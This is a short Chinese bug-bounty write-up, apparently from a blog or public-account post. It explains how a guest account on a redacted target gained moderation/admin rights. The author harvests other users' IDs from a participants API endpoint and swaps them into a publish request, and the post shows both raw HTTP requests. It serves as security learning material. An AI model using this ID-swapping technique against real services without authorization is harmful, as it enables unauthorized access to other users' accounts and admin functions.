如何找到越权漏洞?

如何找到越权漏洞?

柠檬赏金猎人 2025-02-18 01:57

流程大概如下:
– • 不可预测的userid

  • • 寻找获取userid接口

  • • 替换userid

  • • 判断是否存在漏洞

  • • 交给你举一反三

目标为 bounty.redacted.net。我决定在该目标上寻找漏洞,注册了一个帐户。正如我所想,该目标应用程序中有很多功能。我花了4-5小时分析每个功能及其不同的权限。完成分析后,我做了一些其他工作,并在第二天早上开始在目标上狩猎。

首先,我创建了一个guestuser,因为这是最低权限,登陆后,我有编辑权限,但由于是guestuser,有很多限制。所以我想,我能否打破这些限制,做些什么?

请求如下:

POST /__/publish/6ac8f982–ef09324f80 HTTP/2Host: bounty.redacted.netCookie: S=1; __Secure-csrf=T3F9GJHDEUA0YBF6B3HF6User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/jsonX-Cb-Csrf: T3F9GJHO6DPE4CF6B3HF6Authorization: Content-Length: 97Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close[    {      "type":"moderation",      "command":"start",      "userid":"guest_90d501a7–9d61–4252–8044–0e7be8bc2d9d"    }]

问题是userid是不可预测的,所以我查看了我的burp http请求历史,发现了一个有趣的api端点,我可以毫无问题地获取每个用户的userid。api请求如下:

GET /api/v1/participants/6ac8f982–ef09324f80 HTTP/2Host: bounty.redacted.netCookie: S=1; __Secure-csrf=T3F9GJHDEUA0YBF6B3HF6User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/jsonX-Cb-Csrf: T3F9GJHO6DPE4CF6B3HF6Authorization: Content-Length: 97Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close

在这个请求中,它提供了所有不可预测的userid。我在第一个提到的请求中更改了userid,果然成功了,具备管理权限。

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行
承担相应后果,我们将不承担任何法律及连带责任。
“如侵权请私聊公众号删文”。